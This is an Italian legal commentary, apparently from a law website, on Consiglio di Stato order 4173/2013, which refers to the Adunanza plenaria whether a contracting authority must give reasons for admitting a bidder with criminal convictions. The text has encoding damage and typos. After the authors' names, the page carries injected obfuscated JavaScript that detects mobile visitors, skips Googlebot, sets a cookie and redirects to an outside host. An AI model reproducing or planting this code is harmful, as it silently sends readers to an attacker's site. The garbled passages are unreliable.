L’omessa motivazione dell’ammissione alla gara del concorrente con precedenti penali impedisce il controllo giurisdizionale del convincimento della stazione appaltante e determina una ingiustificata disparitA� di trattamento fra gli operatori economici. La relativa questione, in contrasto con precedenti decisioni giurisprudenziali, va rimessa alla decisone dell’Adunanza plenariaA�
Consiglio di Stato, sez. VI – ordinanza 14 agosto 2013 n. 4173 – Pres. Baccarini, Est. Lopilato
CdS ord. 4173 [1]
Il caso
La questione verte sull’obbligo o meno della stazione appaltante di motivare l’ammissione del concorrente con precedenti penali, fin’ora esclsuo o richiesto entro cerrti limiti dalla giurisprudenza dello stessoA� Consiglio di Stato.
La sezione VI del Consiglio di Stato, in particoalre, chiede alla��Adunanza plenaria di stabilire se la��art. 38, comma 2, lettera c), del d.lgs. n. 163 del 2006, [2] nella parte in cui impone agli operatori economici partecipanti alla gara di dichiarare la��esistenza di sentenze o decreti penali di condanna, imponga alla stazione appaltante di rendere una adeguata motivazione non solo nel caso di esclusione dalla gara ma anche nel caso di ammissione alla gara stessa, al fine di indicare le ragioni per la quali la stessa ha ritenuto che i fatti di reato menzionati nella dichiarazione non incidono sulla moralitA� professionaleA�.
L’ordinanza
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Il Consiglio di Stato, con la decisone che si annota, non condivide l’orientamento interpretativo consolidato secondo la stazione appaltante non A? tenuta ed esplicitare in maniera analitica le ragioni di siffatto suo convincimento e rimette la questione all’Adfunanza plenaria
A�La giurisprudenza del Consiglio di Stato ha piA? volte affermato che nel caso in cui A�la stazione appaltante che non ritenga il precedente penale dichiarato dal concorrente incisivo della sua moralitA� professionale anche sotto il profilo della gravitA� da valutarsi in relazione alla��oggetto specifico della��appalto, non A? tenuta ed esplicitare in maniera analitica le ragioni di siffatto suo convincimento, potendo la motivazione di non gravitA� del reato risultare anche implicita o per facta concludentia, ossia con l’ammissione alla gara dell’impresa mentre A? la valutazione di gravitA� che richiede la��assolvimento di un particolare onere motivazionaleA� (Cons. Stato, sez. III, 11 marzo 2011, n. 1583; nello stesso senso, sez. V, 30 giugno 2011, n. 3924; sez. VI, 24 giugno 2010, n. 4019, secondo cui la stazione appaltante deve A�motivare puntualmente le esclusioni e non anche le ammissioni se su di esse non vi A? in gara contestazioneA�).
La Sezione non condivide la��orientamento interpretativo da ultimo riportato. In primo luogo, perchA� la��omessa motivazione impedisce il controllo giurisdizionale. Se, infatti, si ritiene che la stazione appaltante possa, mediante un mero comportamento silenzioso, ritenere ininfluente un fatto di reato si rischia di compromettere le forme di tutela della��operatore economico leso. NA� si potrebbe ritenere che il giudice amministrativo possa effettuare a�?direttamentea�? il controllo senza con ciA? porre in essere, in violazione del principio di separazione dei poteri, una valutazione che a�?in prima battutaa�? spetta alla stazione appaltante.
In secondo luogo, la��indirizzo interpretativo espresso sino ad oggi dal Consiglio di Stato determina una non giustificata diversitA� di trattamento, ai danni del terzo pretermesso, tra atti di esclusione e atti di ammissione alla procedura di gara. Infatti, anche ammesso che un provvedimento a contenuto discrezionale possa avere, nella vigenza della legge sul procedimento amministrativo, una motivazione implicita, ciA? non sembra ammissibile nel caso di un procedimento di gara, in cui quel provvedimento, decidendo una questione di ammissibilitA� alla gara di un concorrente, richiede comunque la garanzia indivisibile della motivazione nei confronti non soltanto del destinatario della��atto, ma anche degli altri concorrenti, portatori di interessi ad esso contrapposti. Infine, la��orientamento che non si condivide non A? coerente con i rigorosi indirizzi che la giurisprudenza del Consiglio di Stato ha espresso, per garantire la��attuazione delle finalitA� perseguite, in relazione alla��ambito soggettivo e oggettivo di applicazione della norma in esame. (a��)
Stefano Pozzer – Katia Marettovar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}